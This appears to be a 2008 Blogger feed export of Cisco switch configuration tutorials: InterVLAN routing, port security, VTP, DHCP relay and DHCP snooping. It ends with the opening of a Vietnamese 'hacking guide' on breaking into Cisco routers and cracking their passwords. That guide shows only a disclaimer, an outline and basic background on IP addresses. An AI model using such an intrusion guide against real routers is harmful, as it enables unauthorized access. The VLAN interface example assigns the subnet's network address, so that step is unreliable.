href="http://www.itsyourip.com/cisco/allow-user-view-runningstartup-config-red-only-in-cisco-ios/" title="DHCP snooping is a DHCP security feature that provides security by filtering untrusted DHCP messages and by building and maintaining a DHCP snooping binding table. An untrusted DHCP message is a message that is received from outside the network or firewall causing denial of service attacks. The DHCP snooping binding table contains the MAC address, IP [...]"&gt;Allow user view Running/Startup-Config (red-only) in Cisco IOS&lt;/a&gt; (May 12, 2008)&lt;/li&gt;&lt;/ul&gt;    &lt;/div&gt; &lt;!-- end relatedposts --&gt;      &lt;script type="text/javascript"&gt;&lt;!--  google_ad_client = "pub-6006760557805242";  //Image_ref_bottom  google_ad_slot = "2734488163";  google_ad_width = 468;  google_ad_height = 60;  google_cpa_choice = ""; // on file  //--&gt;&lt;/script&gt;  &lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;  &lt;/script&gt;      &lt;!-- You can start editing here. --&gt;    &lt;h2 class="postcomment"&gt;   2 Comments      so far &lt;a href="http://www.itsyourip.com/cisco/enableconfigure-dhcp-snooping-in-cisco-catalyst-switches-ios/#postcomment" title="Jump to the comments form"&gt;»&lt;/a&gt;    &lt;/h2&gt;    &lt;ol id="commentlist"&gt;&lt;li class="alt" id="comment-2351"&gt;    &lt;p class="comment-title"&gt;by Tawfiq, on May 29 2008     @ &lt;a href="http://www.itsyourip.com/cisco/enableconfigure-dhcp-snooping-in-cisco-catalyst-switches-ios/#comment-2351"&gt;1:21 pm&lt;/a&gt;    &lt;/p&gt;    &lt;div class="comment-text"&gt;&lt;img src="http://www.gravatar.com/avatar.php?gravatar_id=9f60b169e62cf1803a035b368fcbd24e&amp;amp;size=40&amp;amp;default=http%3A%2F%2Fwww.itsyourip.com%2Fwp-content%2Fthemes%2FTriathlon%2Fimages%2Fdefault-gravatar.jpg" alt=" " class="gravatar" align="left" width="40" height="40" /&gt;&lt;p&gt;Thanks to him who is written this document -&lt;br /&gt;-he is describe easily here what is&lt;br /&gt;dhcp snooping and how to implement this security feature&lt;br /&gt;its a brilliant do doubt -&lt;/p&gt; &lt;/div&gt;   &lt;/li&gt;&lt;li class="" id="comment-2382"&gt;    &lt;p class="comment-title"&gt;by Cisco.zephyr, on July 29 2008     @ &lt;a href="http://www.itsyourip.com/cisco/enableconfigure-dhcp-snooping-in-cisco-catalyst-switches-ios/#comment-2382"&gt;10:52 am&lt;/a&gt;    &lt;/p&gt;    &lt;div class="comment-text"&gt;&lt;img src="http://www.gravatar.com/avatar.php?gravatar_id=48870b12806cc2dd6cbaceac61e51801&amp;amp;size=40&amp;amp;default=http%3A%2F%2Fwww.itsyourip.com%2Fwp-content%2Fthemes%2FTriathlon%2Fimages%2Fdefault-gravatar.jpg" alt=" " class="gravatar" align="left" width="40" height="40" /&gt;&lt;p&gt;This was straight to the point and gave just enough references to follow up for my own reasoning and thoughts.&lt;br /&gt;Thank you for a (as the other person commented)Brilliant simplistic configuration.&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5762298692193558212?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5762298692193558212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5762298692193558212' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5762298692193558212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5762298692193558212'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/enableconfigure-dhcp-snooping-in-cisco.html' title='Enable/Configure DHCP Snooping in Cisco Catalyst Switches (IOS)'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5927629759451477492</id><published>2008-10-16T03:07:00.000-07:00</published><updated>2008-10-16T03:12:28.282-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Configuration Command'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><title type='text'>How to create VLAN Interfaces for InterVLAN Routing in Cisco IOS</title><content type='html'>How to create VLAN Interfaces for InterVLAN Routing in Cisco IOS&lt;br /&gt;Posted on Jul 01, 2008 under Cisco |&lt;br /&gt;&lt;br /&gt;Tags:Cisco cisco-switch InterVLAn-Routing ios router switch vlan   &lt;br /&gt;&lt;br /&gt;VLAN Interfaces are required in network scenarios where you have different VLANs and need Inter-VLAN switching on Layer3 (Routing capable) switches. Every VLAN that needs to be routed should have a VLAN interface.&lt;br /&gt;&lt;br /&gt;Let's say we have VLAN 10 which hosts the subnet 192.168.10.0 subnet, VLAN hosts 192.168.20.0 subnet and VLAN 30 hosts 192.168.30.0 subnet. For Inter-VLAN routing to work, we need to have a VLAN interface setup for each of these VLANs and configured with an IP address from the same subnet which will be the default Gateway for that subnet. Lets say, 192.168.10.254,192.168.20.254.192.168.30.254 are the IP addresses for VLAN Interfaces of VLAn 10,20,30 respectively.&lt;br /&gt;&lt;br /&gt;Assuming the VLANs are configured already, let's proceed to get the VLAN interfaces created.&lt;br /&gt;&lt;br /&gt;Enable Routing on the Switch&lt;br /&gt;&lt;br /&gt;    ciscoswitch# conf t&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config)# ip routing&lt;br /&gt;&lt;br /&gt;Add VLAN Interface&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config)# interface vlan10&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config-if)# no shut&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config-if)# ip address 192.168.10.0 255.255.255.0&lt;br /&gt;&lt;br /&gt;This configures a VLAN interface for VLAN 10.&lt;br /&gt;&lt;br /&gt;Default Route on Switch&lt;br /&gt;&lt;br /&gt;Add a default route on the Switch. This will forward all traffic from the different VLANs to the default router.&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config)#ip route 0.0.0.0 0.0.0.0 192.168.100.1&lt;br /&gt;&lt;br /&gt;Interface to the Router&lt;br /&gt;&lt;br /&gt;If the switch cannot reach the default router through a VLAN then an interface that connects to the router which does these routing needs to configured as a routed interface and assigned with an IP address that is in the same subnet as that of the Default router.&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config)# interface gi0/1&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config-if)# no shut&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config-if)# no switchport&lt;br /&gt;&lt;br /&gt;    ciscoswitch(config-if)# ip address 192.168.100.2 255.255.255.0&lt;br /&gt;&lt;br /&gt;This makes the inerface as a routed interface and assigns an IP address in the same subnet as the default router.&lt;br /&gt;Related Posts&lt;br /&gt;&lt;br /&gt;    * Unable to delete Stale/Obsolete statc routes in Cisco IOS (Jul 03, 2008)&lt;br /&gt;    * High CPU usage when SNMP is enabled in Cisco Routers (Jun 19, 2008)&lt;br /&gt;    * Configure MD5 encrypted passwords for users on Cisco IOS (May 20, 2008)&lt;br /&gt;    * Enable/Configure DHCP Snooping in Cisco Catalyst Switches (IOS) (May 15, 2008)&lt;br /&gt;    * Allow user view Running/Startup-Config (red-only) in Cisco IOS (May 12, 2008)&lt;br /&gt;&lt;br /&gt;url:http://www.itsyourip.com/cisco/how-to-create-vlan-interfaces-for-intervlan-routing-in-cisco-ios/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5927629759451477492?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5927629759451477492/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5927629759451477492' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5927629759451477492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5927629759451477492'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/how-to-create-vlan-interfaces-for.html' title='How to create VLAN Interfaces for InterVLAN Routing in Cisco IOS'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-2381182115361108608</id><published>2008-10-16T02:08:00.000-07:00</published><updated>2008-10-16T02:09:49.286-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Configuration Command'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><title type='text'>Configure Cisco Port Security on Switches and Router interface</title><content type='html'>Configure Cisco Port Security on Switches and Router interface&lt;br /&gt;Posted on Dec 04, 2007 under Cisco, Security |&lt;br /&gt;&lt;br /&gt;Tags:Cisco ios mac-address port-security router Security switch   &lt;br /&gt;&lt;br /&gt;Cisco Port Security is a features that can help secure access to the physical network. Any Network admins nightmare is an unauthorised device or a PC connecting to the network. This could be as simple as an innocent guest plugging his PC into a floor port hoping to get an internet connection or a malicious intruder connecting to the network trying to gain access to confidential information.&lt;br /&gt;&lt;br /&gt;Consequences could as bad as&lt;br /&gt;&lt;br /&gt;    * Virus, Spyware or malware infection from a PC unprotected PC&lt;br /&gt;    * A malicious hacker or an intruder gaining access to the network&lt;br /&gt;    * A malicous attacker launching a Denial of Service attack using MAC Address flooding&lt;br /&gt;&lt;br /&gt;Cisco IOS has the port-security feature which can be used to restrict the MAC-Address of the devices that connects to each of the physical switchports.&lt;br /&gt;&lt;br /&gt;Cisco Port-Security can help to&lt;br /&gt;&lt;br /&gt;    * restrict the MAC-address or addresses that can connect through a switchport [default: first connected device MAC Address]&lt;br /&gt;    * restrict the number of MAC-Addresses that can connect through a switchport [default is 1 and maximum is 128]&lt;br /&gt;    * set aging in minutes of the MAC Addresses registed&lt;br /&gt;    * Action to take when there is a violation detected (default is to disable the port and send an SNMP Trap message to the SNMP management server (if any))&lt;br /&gt;&lt;br /&gt;For a switch port to be security enabled,&lt;br /&gt;&lt;br /&gt;    * the switchport cannot be a Trunk Port&lt;br /&gt;    * the switchport cannot be a destination port for a Switchport Analyzer (SPAN)&lt;br /&gt;    * the switchport cannot belong to an EtherChannel port-channel interface&lt;br /&gt;    * the switchport cannot be an 802.1X port&lt;br /&gt;&lt;br /&gt;If you try to enable 802.1X on a secure port, an error message appears, and 802.1X is not enabled. If you try to change an 802.1X-enabled port to a secure port, an error message appears, and the security settings are not changed.&lt;br /&gt;&lt;br /&gt;To enable Port Security on a Cisco Switch or router interface&lt;br /&gt;&lt;br /&gt;Enter the interface config mode (say fa0/1)&lt;br /&gt;&lt;br /&gt;    Switch# conf t&lt;br /&gt;&lt;br /&gt;    Switch(config)# interface fastethernet 0/1&lt;br /&gt;&lt;br /&gt;    Switch(config-if)# switchport mode access&lt;br /&gt;&lt;br /&gt;This sets the switchport to access mode. Default mode of "Dynamic desirable" cannot be configured as a secure port&lt;br /&gt;&lt;br /&gt;    Switch(config-if)# switchport port-security&lt;br /&gt;&lt;br /&gt;This enables the port security on the switchport with the defaults [1 MAC Address allowed, 1st connected MAC Address, disable port if there is a violation]&lt;br /&gt;&lt;br /&gt;If you know the MAC Address of the device and that thats the only device that connects to the swicthport (for example, A server on a Serverfarm switch) then you can set the MAC-Address manually.&lt;br /&gt;&lt;br /&gt;    Switchport(config-if)# switchport port-security mac-address 1111.2222.3333&lt;br /&gt;&lt;br /&gt;Where 1111.2222.3333 is the MAC Address of the server. This will disable the secure port, if any other device other than the one with the above MAC-Address connects to the switch port.&lt;br /&gt;&lt;br /&gt;If there is a switch or a hub (say 12 port or a 24 port) that connects to the switchport which you want to secure then you can set the maximum number of MAC-Addresses that connects to the port and/or set the MAC-Address optionally.&lt;br /&gt;&lt;br /&gt;    Switchport(config-if)# switchport port-security max 12&lt;br /&gt;&lt;br /&gt;This sets the maximum number of mac-address allowed on the secure port (default is 128).&lt;br /&gt;&lt;br /&gt;One step further, if you want to manually add some or all of these MAC-Addresses then you can specify using the following command one for each MAC-Address&lt;br /&gt;&lt;br /&gt;    Switchport(config-if)# switchport port-security mac-address 0000.0000.0000&lt;br /&gt;&lt;br /&gt;    Switchport(config-if)# switchport port-security mac-address 0000.0000.1111&lt;br /&gt;&lt;br /&gt;If now, you need to set the maximum number of MAC Addresses on the switchport but are aware that some or most of them are temporary ones (guest users or temporary workers) then you can set the aging time on the port-security which allows MAC-Addresses on the Secure switchport will be deleted after the set aging time. This helps to avoid a situation where obsolete MAC-Address occupy the table and saturates causing a violation (when the max number exceeds).&lt;br /&gt;&lt;br /&gt;    Switchport(config-if)# switchport port-security aging time 10&lt;br /&gt;&lt;br /&gt;Where time is specified in minutes (10 mins in the above)&lt;br /&gt; &lt;br /&gt;Now, you can set the action to be taken when there is a violation. The default is to shutdown the port and mark the port err-disabled.&lt;br /&gt;&lt;br /&gt;For example,&lt;br /&gt;&lt;br /&gt;    Switchport(config-if)# switchport port-security violation protect&lt;br /&gt;&lt;br /&gt;Where protect is the action taken when a violation event is triggered.&lt;br /&gt;&lt;br /&gt;The actions are&lt;br /&gt;&lt;br /&gt;protect — Drops packets with unknown source addresses until you remove a sufficient number of secure MAC addresses to drop below the maximum value.&lt;br /&gt;&lt;br /&gt;restrict — Drops packets with unknown source addresses until you remove a sufficient number of secure MAC addresses to drop below the maximum value and causes the Security Violation counter to increment.&lt;br /&gt;&lt;br /&gt;shutdown (default) — Puts the interface into the error-disabled state immediately and sends an SNMP trap notification.&lt;br /&gt;&lt;br /&gt;To show the port-security,&lt;br /&gt;&lt;br /&gt;    Switch# show port-security interface fastethernet 0/1&lt;br /&gt;    Security Enabled:Yes, Port Status:SecureUp&lt;br /&gt;    Violation Mode:Shutdown&lt;br /&gt;    Max. Addrs:5, Current Addrs:0, Configure Addrs:0&lt;br /&gt;&lt;br /&gt;To display port-security info without any interface provided&lt;br /&gt;&lt;br /&gt;    Switch# show port-security&lt;br /&gt;    Secure Port      MaxSecureAddr  CurrentAddr  SecurityViolation  Security&lt;br /&gt;    Action&lt;br /&gt;                        (Count)        (Count)      (Count)&lt;br /&gt;    —————————————————————————-&lt;br /&gt;         Fa0/1           11            11            0            Shutdown&lt;br /&gt;         Fa0/2           15            5             0            Restrict&lt;br /&gt;         Fa0/3           5             4             0            Protect&lt;br /&gt;    —————————————————————————-&lt;br /&gt;    Total Addresses in System: 21&lt;br /&gt;    Max Addresses limit in System: 128&lt;br /&gt;&lt;br /&gt;To display the security MAC-Address table&lt;br /&gt;&lt;br /&gt;    Switch# show port-security address&lt;br /&gt;              Secure Mac Address Table&lt;br /&gt;    ——————————————————————-&lt;br /&gt;    Vlan    Mac Address       Type                Ports   Remaining Age&lt;br /&gt;                                                             (mins)&lt;br /&gt;    —-    ———–       —-                —–   ————-&lt;br /&gt;       1    0001.0001.0001    SecureDynamic       Fa0/1      15 (I)&lt;br /&gt;       1    0001.0001.0002    SecureDynamic       Fa0/1      15 (I)&lt;br /&gt;       1    0001.0001.0003    SecureConfigured    Fa0/1      16 (I)&lt;br /&gt;       1    0001.0001.0004    SecureConfigured    Fa0/1      -&lt;br /&gt;       1    0001.0001.0005    SecureConfigured    Fa0/1      -&lt;br /&gt;       1    0005.0005.0006    SecureConfigured    Fa0/5      23&lt;br /&gt;       1    0005.0005.0007    SecureConfigured    Fa0/5      23&lt;br /&gt;       1    0005.0005.0008    SecureConfigured    Fa0/5      23&lt;br /&gt;       1    0011.0011.0009    SecureConfigured    Fa0/11     25 (I)&lt;br /&gt;       1    0011.0011.0010    SecureConfigured    Fa0/11     25 (I)&lt;br /&gt;    ——————————————————————-&lt;br /&gt;    Total Addresses in System: 10&lt;br /&gt;    Max Addresses limit in System: 128&lt;br /&gt;&lt;br /&gt;For more information, check this Cisco documentation&lt;br /&gt;&lt;br /&gt;If you're new here, you may want to subscribe to my RSS feed. Thanks for visiting!&lt;br /&gt;Related Posts&lt;br /&gt;&lt;br /&gt;    * Unable to delete Stale/Obsolete statc routes in Cisco IOS (Jul 03, 2008)&lt;br /&gt;    * How to create VLAN Interfaces for InterVLAN Routing in Cisco IOS (Jul 01, 2008)&lt;br /&gt;    * High CPU usage when SNMP is enabled in Cisco Routers (Jun 19, 2008)&lt;br /&gt;    * Configure MD5 encrypted passwords for users on Cisco IOS (May 20, 2008)&lt;br /&gt;    * Enable/Configure DHCP Snooping in Cisco Catalyst Switches (IOS) (May 15, 2008)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-2381182115361108608?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/2381182115361108608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=2381182115361108608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2381182115361108608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/2381182115361108608'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/configure-cisco-port-security-on.html' title='Configure Cisco Port Security on Switches and Router interface'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5405714141485564191</id><published>2008-10-07T04:01:00.000-07:00</published><updated>2008-10-07T04:02:11.605-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Configuration Command'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco VTP Domain'/><title type='text'>Adding a Cisco switch to a VTP domain</title><content type='html'>Adding a Cisco switch to a VTP domain&lt;br /&gt;By James on October 16, 2007&lt;br /&gt;757 views&lt;br /&gt;1 Star2 Stars3 Stars4 Stars5 Stars (No Ratings Yet)&lt;br /&gt;Loading ... Loading ...&lt;br /&gt;Categories: Cisco Tags: IOS&lt;br /&gt;&lt;br /&gt;Adding a switch to a VTP domain is fairly easy to do, but done incorrectly, can bring down a whole network. Fortunatly I have not had this happen to me, but I have heard horror stories. There are a few simple steps to take to make sure everything stays running smoothly.&lt;br /&gt;&lt;br /&gt;The very first step to complete as soon as you are ready to put a new switch on a network and join it to the domain, is to make sure that the vtp mode is set to transparent. Setting the mode to transparent ensures that the “Configuration Revision” is set to 0. If the switch has been used in a lab and has vlans configured and a configuration revision that is higher than the domain server, even if the switch being added is in client mode, it will overwrite the server and propagate all of it’s vlans across the network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is directly taken from Cisco’s website:&lt;br /&gt;&lt;br /&gt;    A recently added switch can cause problems in the network. It can be a switch that was previously used in the lab, and a good VTP domain name was entered. The switch was configured as a VTP client and was connected to the rest of the network. Then, you brought the trunk link up to the rest of the network. In just a few seconds, the whole network can go down.&lt;br /&gt;&lt;br /&gt;    If the configuration revision number of the switch that you inserted is higher than the configuration revision number of the VTP domain, it propagates its VLAN database through the VTP domain.&lt;br /&gt;&lt;br /&gt;    This occurs whether the switch is a VTP client or a VTP server. A VTP client can erase VLAN information on a VTP server. You can tell this has occurred when many of the ports in your network go into the Inactive state but continue to assign to a nonexistent VLAN.&lt;br /&gt;&lt;br /&gt;To make sure this does not happen, before you connect the switch to the network, make sure to set the vtp mode to transparent.&lt;br /&gt;C3750-Client(config)#vtp mode transparent&lt;br /&gt;C3750-Client(config)#exit&lt;br /&gt;C3750-Client#show vtp status&lt;br /&gt;C3750-Client#sh vtp status&lt;br /&gt;VTP Version : 2&lt;br /&gt;Configuration Revision : 0&lt;br /&gt;Maximum VLANs supported locally : 1005&lt;br /&gt;Number of existing VLANs : 7&lt;br /&gt;VTP Operating Mode : Transparent&lt;br /&gt;VTP Domain Name :&lt;br /&gt;VTP Pruning Mode : Disabled&lt;br /&gt;VTP V2 Mode : Disabled&lt;br /&gt;VTP Traps Generation : Disabled&lt;br /&gt;MD5 digest : 0×18 0×17 0xE9 0×22 0×49 0×96 0×0C 0×7E&lt;br /&gt;Configuration last modified by 10.10.10.20 at 3-1-93 00:03:25&lt;br /&gt;&lt;br /&gt;Now that this switch won’t overwrite the server, configure the vtp domain and password, and then change the mode to client.&lt;br /&gt;C3750-Client(config)#vtp domain Test&lt;br /&gt;Changing VTP domain name from NULL to Test&lt;br /&gt;C3750-Client(config)#vtp password Testpassword&lt;br /&gt;C3750-Client(config)#vtp mode client&lt;br /&gt;Setting device to VTP CLIENT mode&lt;br /&gt;&lt;br /&gt;Show the vtp status to confirm.&lt;br /&gt;C3750-Client#show vtp status&lt;br /&gt;VTP Version : 2&lt;br /&gt;Configuration Revision : 62&lt;br /&gt;Maximum VLANs supported locally : 1005&lt;br /&gt;Number of existing VLANs : 38&lt;br /&gt;VTP Operating Mode : Client&lt;br /&gt;VTP Domain Name : Test&lt;br /&gt;VTP Pruning Mode : Enabled&lt;br /&gt;VTP V2 Mode : Enabled&lt;br /&gt;VTP Traps Generation : Disabled&lt;br /&gt;MD5 digest : 0xCD 0×9D 0xFF 0xC3 0×6F 0×63 0×5F 0xF5&lt;br /&gt;Configuration last modified by 10.10.10.2 at 10-16-07 22:16:43&lt;br /&gt;&lt;br /&gt;And then a show vlan and check the output to make sure all the vlans have propagated.&lt;br /&gt;C3750-Client#show vlan&lt;br /&gt;&lt;br /&gt;The only rule you really need when adding switches is to make sure the switch is in TRANSPARENT mode first.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url:http://jklogic.net/adding-a-cisco-switch-to-a-vtp-domain/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-5405714141485564191?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/5405714141485564191/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=5405714141485564191' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5405714141485564191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/5405714141485564191'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/adding-cisco-switch-to-vtp-domain.html' title='Adding a Cisco switch to a VTP domain'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-4934688151337049571</id><published>2008-10-06T20:38:00.000-07:00</published><updated>2008-10-06T20:40:21.905-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cisco DHCP'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Configuration Command'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><title type='text'>How to configure a Cisco Catalyst switch to act as a DHCP relay agent</title><content type='html'>How to configure a Cisco Catalyst switch to act as a DHCP relay agent&lt;br /&gt;How to configure a Cisco Catalyst switch to act as a DHCP relay agent in the following Cisco Catalyst switches:&lt;br /&gt;2940 - 2970 - 3550 - 3560 - 3750 - 4000 - 4500 - 6000 - 6500&lt;br /&gt;Relay agents are used to forward requests and replies between clients and servers when they are not on the same physical subnet. &lt;br /&gt;Relay agent forwarding is distinct from the normal forwarding of an IP router, where IP datagrams are switched between networks somewhat transparently. &lt;br /&gt;Relay agents receive Dynamic Host Configuration Protocol (DHCP) messages and then generate a new DHCP message to send out on another interface.&lt;br /&gt;The 2900XL, 2950 and 3500XL switches cannot be configured as a DHCP helper, or DHCP relay. &lt;br /&gt;This requires a router or a switch with a Layer 3 capability that can do InterVLAN routing. &lt;br /&gt;These switches are Layer 2 devices, which can only do DHCP snooping.&lt;br /&gt;The ip helper-address command is present on a configurable Layer 3 interface. &lt;br /&gt;The general rule is to configure the command on the Layer 3 interface closest to the client.&lt;br /&gt;In order configure a Cisco Catalyst switch to act as a DHCP relay agent, issue the ip helper-address command in interface configuration mode and specify the IP address of the DHCP server on the remote subnet.&lt;br /&gt;This ensures that all DHCP broadcasts are forwarded to that address. &lt;br /&gt;More than one helper address can be configured per interface.&lt;br /&gt;You may also wish to investigate:&lt;br /&gt;Understanding and Troubleshooting DHCP in Catalyst Switch or Enterprise Networks&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-4934688151337049571?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/4934688151337049571/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=4934688151337049571' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4934688151337049571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4934688151337049571'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/how-to-configure-cisco-catalyst-switch.html' title='How to configure a Cisco Catalyst switch to act as a DHCP relay agent'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5841354094527159544</id><published>2008-10-02T04:03:00.000-07:00</published><updated>2008-10-02T04:04:00.026-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacking guide'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Router'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Cách tấn công hệ thống Cisco!!!</title><content type='html'>Tấn công hệ thống Cisco&lt;br /&gt;Cảnh báo:&lt;br /&gt;Đây là bài viết mục dích chỉ nhằm nghiên cứu và hoc tập&lt;br /&gt;KHÔNG ĐƯỢC sử dụng tài liệu này để phá hoại các hệ thống cisco, hoặc thâm nhập bất hợp pháp vào hệ thống. Tài liệu này chỉ nhằm mục đích giáo dục. Chỉ sử dụng tài liệu này một cách hợp pháp (Wargames của các hacker chẳng hạn.), và không được phá hoại bất kì cái gì. Đây là một bài học dẫn dắt từng bước một về cách một những điểm yếu của cisco dẫn tới việc có thể bị truy nhập trái phép. Nếu bạn bị bắt quả tang đang đột nhập vào một bộ dẫn đường cisco, hoặc làm rối loạn hệ thống, bạn có thể làm gián đoạn hàng trăm người dùng internet, tốn kém hàng ngàn đôla, cho nên chỉ sử dụng tài liệu này khi bạn được cho phép ! Sử dụng sai tài liệu này sẽ làm cho bạn gặp rất nhiều rắc rối.&lt;br /&gt;&lt;br /&gt;Chú ý: một số bài học được viết cho hệ Unix, và không được chuyển soạn cho&lt;br /&gt;DOS/hay tương thích Windows, cho nên bạn sẽ phải xem tài liệu này bằng trình duyệt Web, hoặc Microsoft Word.&lt;br /&gt;-------------------------------------&lt;br /&gt;&lt;br /&gt;- Phần 1: Tại sao lại xâm nhập bộ dẫn đường cisco?&lt;br /&gt;&lt;br /&gt;- Phần 2: Tìm một bộ dẫn đường cisco như thế nào ?&lt;br /&gt;&lt;br /&gt;- Phần 3: Làm thế nào thâm nhập vào bộ dẫn đường cisco ?&lt;br /&gt;&lt;br /&gt;- Phần 4: Phá mật khẩu như thế nào ?&lt;br /&gt;&lt;br /&gt;- Phần 5: Sử dụng bộ dẫn đường như thế nào ?&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;br /&gt;Những thứ CẦN biết TRƯỚC khi bạn bắt đầu:&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;Địa chỉ IP là gì?&lt;br /&gt;Địa chỉ IP là gì?&lt;br /&gt;&lt;br /&gt;IP là từ viết tắt của Internet Protocol, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra ISP của bạn.&lt;br /&gt;Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :&lt;br /&gt;- bạn lướt qua một trang web, IP của bạn bị ghi lại&lt;br /&gt;- trên IRC, bất kì ai cũng có thể có IP của bạn&lt;br /&gt;- trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show ip" người ta vẫn lấy được nó&lt;br /&gt;- nếu bạn kết nối với một ai đó, họ có thế gõ "systat", và biết được ai đang kết nối đên họ&lt;br 